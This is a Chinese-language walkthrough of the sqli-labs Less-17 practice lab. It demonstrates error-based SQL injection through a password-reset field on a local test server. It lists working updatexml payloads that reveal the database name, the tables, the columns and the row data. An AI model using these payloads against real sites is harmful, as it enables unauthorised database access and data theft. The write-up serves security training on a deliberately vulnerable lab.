摘要 {#摘要}
本文主要介绍了在sqli-labs-master平台的Less-17实验中,如何通过报错注入的方式获取数据库的名称、表名、列名以及相应的数据。首先通过填写恶意输入触发SQL语句执行错误,然后通过构造注入语句来获取数据库的名称、表名、列名以及相应的数据。具体来说,我们通过填写恶意输入来判断是否存在注入,然后通过构造不同的注入语句来获取数据库的名称、表名、列名以及相应的数据。最后,我们提到了注入漏洞的危害以及如何避免注入漏洞的发生。
前言 {#前言}
当我们进入十七题发现他提示我们这里是密码重置,所以我们从下面的password入手
前期准备 {#前期准备}
开启phpstudy,开启apache服务以及mysql服务
实验环节 {#实验环节}
浏览器访问Less-17 {#浏览器访问Less-17}
http://127.0.0.1/sqli-labs-master/Less-17/
判断是否存在注入 {#判断是否存在注入}
#用户名填写
admin
#密码填写
' or 1=1 -- xz
判断库名 {#判断库名}
123'and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)-- xz
#用户名随便用一个,密码字段输入以上命令,通过报错注入得到库名为security
判断表名 {#判断表名}
123'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security'limit 0,1),0x7e),1)-- xz
#爆出第一个表名是emails
123'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security'limit 1,1),0x7e),1)-- xz
#爆出第二个表名是referers
.......以此类推所有的表名分别是emails,referers,uagents,users
判断列名 {#判断列名}
123'and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),0x7e),1)-- xz
#得出emails表第一个列名为id
判断数据 {#判断数据}
123'and updatexml(1,concat(0x7e,(select id from emails limit 0,1),0x7e),1)-- xz
#说明id列的第一个数据是1